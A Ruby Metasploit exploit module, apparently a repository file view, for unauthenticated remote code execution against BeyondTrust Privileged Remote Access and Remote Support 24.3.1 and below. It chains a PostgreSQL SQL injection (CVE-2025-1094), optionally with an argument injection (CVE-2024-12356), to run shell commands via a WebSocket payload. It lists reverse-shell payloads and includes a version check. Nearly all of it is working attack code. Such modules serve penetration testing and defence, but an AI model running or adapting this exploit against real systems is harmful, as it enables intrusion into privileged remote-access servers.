345 lines
15 KiB
Ruby
345 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Rex::Proto::Http::WebSocket
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
|
|
Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust
|
|
product site. This exploit targets PRA and RS versions 24.3.1 and below.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'sfewer-r7' # Rapid7 Analysis and Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356.
|
|
['CVE', '2025-1094'], # The SQL injection in PostgreSQL code.
|
|
['URL', 'http://web.archive.org/web/20241226144006/https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory
|
|
['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory
|
|
['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis
|
|
],
|
|
'DisclosureDate' => '2024-12-16',
|
|
'Platform' => [ 'linux', 'unix' ],
|
|
'Arch' => [ARCH_CMD],
|
|
'Privileged' => false, # Executes as the site user.
|
|
'Targets' => [
|
|
[
|
|
'Default', {
|
|
'Payload' => {
|
|
'DisableNops' => true,
|
|
# Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes
|
|
# getting escaped unexpectedly. The server may be configured to escape double quotes (not by default).
|
|
# We also want to avoid any backward slash characters if CVE-2024-12356 is being leveraged.
|
|
'BadChars' => '\'"\\'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
# NOTE: Tested with the following payloads:
|
|
# cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
# cmd/unix/reverse_bash
|
|
# cmd/unix/generic
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
# A writable directory on the target for fetch based payloads to write to.
|
|
'FETCH_WRITABLE_DIR' => '/var/tmp',
|
|
# Delete the fetch binary after execution.
|
|
'FETCH_DELETE' => true,
|
|
# By default, a deployed site, like Remote Support, is expected to be located at the root path.
|
|
'URIPATH' => '/'
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
|
|
OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.']),
|
|
OptBool.new('LeverageCVE_2024_12356', [false, 'By default, this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'get_rdf'),
|
|
'vars_get' => {
|
|
'comp' => 'sdcust',
|
|
'locale_code' => 'en-us'
|
|
}
|
|
)
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
|
|
|
|
# The HTTP content data will have something like this, followed by ~800Kb of string data:
|
|
|
|
# 00000000 30 20 53 75 63 63 65 73 73 66 75 6c 0a 65 6e 2d |0 Successful.en-|
|
|
# 00000010 75 73 0a 31 37 33 37 33 36 38 38 37 32 0a 42 52 |us.1737368872.BR|
|
|
# 00000020 44 46 80 00 0a 91 07 81 32 34 2e 31 2e 32 00 82 |DF......24.1.2..|
|
|
# 00000030 00 00 00 00 67 8e 25 28 91 06 83 65 6e 2d 75 73 |....g.%(...en-us|
|
|
|
|
# First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we use a regex to match this so we can ignore it.
|
|
|
|
header = res.body.match(/^(0 Successful\n.+\n\d+\n)/)
|
|
|
|
return CheckCode::Unknown('Unexpected response header') unless header
|
|
|
|
# Extract the remainder of the data, after the "0 Successful\nLOCALE_ID\nTIMESTAMP\n" pre-amble.
|
|
brdf_data = res.body[header[1].length..]
|
|
|
|
return CheckCode::Unknown('Unexpected response data') unless brdf_data.include? 'Thank you for using BeyondTrust'
|
|
|
|
# Pull out the magic value (4 bytes), the first tag and its value (file version, 3 bytes), and then the second tag
|
|
# and its value (product version). The product version is encoded as a string, so has two tags, one for the
|
|
# string type (0x91) and the other for the tag type (0x81).
|
|
magic, _, _, prod_version_tag1, file_version_data_len, file_version_tag2 = brdf_data.unpack('NCvCCC')
|
|
|
|
# Inspect the data to ensure it looks like what we expect.
|
|
|
|
return CheckCode::Unknown('Unexpected header magic') unless magic == 0x42524446 # BRDF
|
|
|
|
return CheckCode::Unknown('Unexpected header prod_version_tag1') unless prod_version_tag1 == 0x91 # RDF_SMALL_SIZE
|
|
|
|
return CheckCode::Unknown('Unexpected header file_version_tag2') unless file_version_tag2 == 0x81 # RDF_PRODUCT_VERSION
|
|
|
|
product_version = brdf_data[10, file_version_data_len - 1]
|
|
|
|
# We cannot differentiate between the two affected products, Privileged Remote Access (PRA) and Remote Support (RS).
|
|
# However, they both share a common version number, and a common patch for this vulnerability.
|
|
#
|
|
# Note #1: The vendor advisory only states that versions "24.3.1 and earlier" are affected, so we do not have a lower
|
|
# bound version number to test against.
|
|
#
|
|
# Note #2: The vendor supplied a patch (BT24-10-ONPREM1 or BT24-10-ONPREM2) to remediate the issue, in lieu of an
|
|
# updated product release. This patch does not change the products version number, so we cannot tell via a version
|
|
# based check if a target is actually vulnerable, therefore we can only report CheckCode::Appears.
|
|
if Rex::Version.new(product_version) <= Rex::Version.new('24.3.1')
|
|
return CheckCode::Appears("Detected version #{product_version}")
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
# For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
|
|
# the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
|
|
# establish a WebSocket connection to the target site application. By default, we query the target site to
|
|
# discover this, however a user can manually set either the expected company name or FQDN as a module option.
|
|
site_info = get_site_info
|
|
|
|
if site_info.nil?
|
|
fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
|
|
end
|
|
|
|
vprint_status("Company name: #{site_info[:company]}")
|
|
vprint_status("Site FQDN: #{site_info[:server]}")
|
|
|
|
headers = {
|
|
# This is the vulnerable application which is reachable over a WebSocket to the target site.
|
|
'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
|
|
}
|
|
|
|
if !site_info[:company].blank?
|
|
print_status("Using company name: #{site_info[:company]}")
|
|
|
|
headers['X-Ns-Company'] = site_info[:company]
|
|
elsif !site_info[:server].blank?
|
|
print_status("Using site FQDN: #{site_info[:server]}")
|
|
|
|
headers['Host'] = site_info[:server]
|
|
else
|
|
fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
|
|
end
|
|
|
|
wsock = connect_ws(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'nw'),
|
|
'headers' => headers
|
|
)
|
|
|
|
# Transmit a version for the request. The target may use version 2, but will agree to a lower version. By using a
|
|
# lower version of 1, we expect to be able to exploit older versions of the affected products which do not support
|
|
# version 2.
|
|
wsock.put_wstext("1\n")
|
|
|
|
# Transmit a random UUID value for the 'thin mint' cookie value.
|
|
wsock.put_wstext("#{SecureRandom.uuid}\n")
|
|
|
|
# Transmit the auth type we want. Zero is the gskey auth type.
|
|
wsock.put_wstext("0\n")
|
|
|
|
# NOTE: We can bypass the need to leverage the argument injection CVE-2024-12356, by transmitting the malicious gskey
|
|
# value via a binary WebSocket message, instead of a text WebSocket message. We include a module option (false by
|
|
# default) called 'LeverageCVE_2024_12356' to make this exploit leverage the argument injection CVE-2024-12356.
|
|
|
|
if datastore['LeverageCVE_2024_12356']
|
|
vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi (CVE-2025-1094)...')
|
|
|
|
# Transmit the malicious gskey value and exploit the argument injection vulnerability.
|
|
# Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass
|
|
# arbitrary arguments to echo (CVE-2024-12356). We pass the -e switch, to enable the interpretation of backslash
|
|
# escape sequences. We leverage this to pass an 0xC0 character, this will break the interpretation of a
|
|
# PostgreSQL statement (CVE-2025-1094), and in turn allow us to overcome the safe quotes that have been put in
|
|
# place. We can escape the current SQL statement and run an arbitrary PostgreSQL client meta-command. By running
|
|
# a \! meta-command, we can execute and arbitrary shell command.
|
|
wsock.put_wstext("-e \\\\xC0'; \\\\! #{payload.encoded} #\n")
|
|
else
|
|
vprint_status('Triggering the SQLi (CVE-2025-1094) directly (Without CVE-2024-12356)...')
|
|
|
|
# Leverage the SQLi (CVE-2025-1094) directly, by placing the raw byte value 0xC0 in the gskey value that
|
|
# we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message.
|
|
wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n")
|
|
end
|
|
|
|
# The vendor patch BT24-10-ONPREM1 will detect a malformed gskey value, and terminate the thin-scc-wrapper script
|
|
# early, tearing down the WebSocket connection. We can detect this here and warn the user that the target may
|
|
# actually be patched. As the patch does not change the servers version number, we cannot detect the patch via a
|
|
# version based check.
|
|
while wsock.has_read_data? datastore['WFSDELAY']
|
|
frame = wsock.get_wsframe
|
|
|
|
break if frame.nil?
|
|
|
|
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
|
|
print_warning('WebSocket closed unexpectedly! This indicates that the patch BT24-10-ONPREM1 has been applied, and the target is no longer vulnerable.')
|
|
break
|
|
end
|
|
end
|
|
|
|
wsock.wsclose
|
|
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
|
if e.http_response && !e.http_response.body.blank?
|
|
if e.http_response.body == 'Invalid company or app name'
|
|
print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
|
|
else
|
|
print_error(e.http_response.body)
|
|
end
|
|
end
|
|
raise
|
|
end
|
|
|
|
# We need to know the target sites company name, or FQDN, in order to successfully establish a WebSocket connection.
|
|
# We first favor the user setting either the TargetCompanyName or TargetServerFQDN options. If not set we then try
|
|
# an undocumented API endpoint /get_mech_list, that should return the target site company name. Finally, we fall
|
|
# back on the /download_client_connector endpoint which will also report a servername and site FQDN.
|
|
def get_site_info
|
|
if !datastore['TargetCompanyName'].blank? || !datastore['TargetServerFQDN'].blank?
|
|
return {
|
|
company: datastore['TargetCompanyName'],
|
|
server: datastore['TargetServerFQDN']
|
|
}
|
|
end
|
|
|
|
site_info = get_site_info_via_mech_list
|
|
|
|
return site_info unless site_info.nil?
|
|
|
|
get_site_info_via_download_client_connector
|
|
end
|
|
|
|
# An internal un-documented API located at the /get_mech_list endpoint will return a JSON object that
|
|
# contains the company name of the target site.
|
|
def get_site_info_via_mech_list
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'get_mech_list'),
|
|
'vars_get' => {
|
|
'version' => '3'
|
|
},
|
|
'headers' => {
|
|
'Accept' => 'application/json'
|
|
}
|
|
)
|
|
|
|
return error('get_site_info_via_mech_list Connection failed.') unless res
|
|
|
|
return error("get_site_info_via_mech_list Request unexpected response code #{res.code}.") unless res.code == 200
|
|
|
|
json_data = res.get_json_document
|
|
|
|
company = json_data['company']
|
|
|
|
return error('get_site_info_via_mech_list company not found.') if company.blank?
|
|
|
|
vprint_status('Got site info via the /get_mech_list endpoint.')
|
|
|
|
{ company: company, server: nil }
|
|
end
|
|
|
|
def get_site_info_via_download_client_connector
|
|
res1 = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'download_client_connector'),
|
|
'vars_get' => {
|
|
'issue_menu' => '1'
|
|
}
|
|
)
|
|
|
|
return error('get_site_info Connection 1 failed.') unless res1
|
|
|
|
return error("get_site_info Request 1, unexpected response code #{res1.code}.") unless res1.code == 200
|
|
|
|
return error('get_site_info_via_download_client_connector Request 1, unable to match data-html-url') unless res1.body =~ %r{data-html-url="\S+(/chat/html/\S+)"}i
|
|
|
|
res2 = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, Rex::Text.html_decode(::Regexp.last_match(1)))
|
|
)
|
|
|
|
return error('get_site_info_via_download_client_connector Connection 2 failed.') unless res2
|
|
|
|
return error("get_site_info_via_download_client_connector Request 2, unexpected response code #{res2.code}.") unless res2.code == 200
|
|
|
|
return error('get_site_info_via_download_client_connector Request 2, unable to match data-company.') unless res2.body =~ /data-company="(\S+)"/i
|
|
|
|
company = Rex::Text.html_decode(::Regexp.last_match(1))
|
|
|
|
return error('get_site_info_via_download_client_connector Request 2, unable to match data-servers.') unless res2.body =~ /data-servers="(\S+)"/i
|
|
|
|
servers = Rex::Text.html_decode(::Regexp.last_match(1))
|
|
|
|
servers_array = JSON.parse(servers)
|
|
|
|
return error('get_site_info_via_download_client_connector Request 2, data-servers not a valid array.') unless servers_array.instance_of? Array
|
|
|
|
return error('get_site_info_via_download_client_connector Request 2, data-servers is an empty array.') if servers_array.empty?
|
|
|
|
server = servers_array.first
|
|
|
|
vprint_status('Got site info via the /download_client_connector endpoint.')
|
|
|
|
{ company: company, server: server }
|
|
rescue JSON::ParserError
|
|
error('get_site_info_via_download_client_connector JSON parse error.')
|
|
end
|
|
|
|
# Helper method to print an error and then return nil.
|
|
def error(message)
|
|
print_error(message)
|
|
nil
|
|
end
|
|
end
|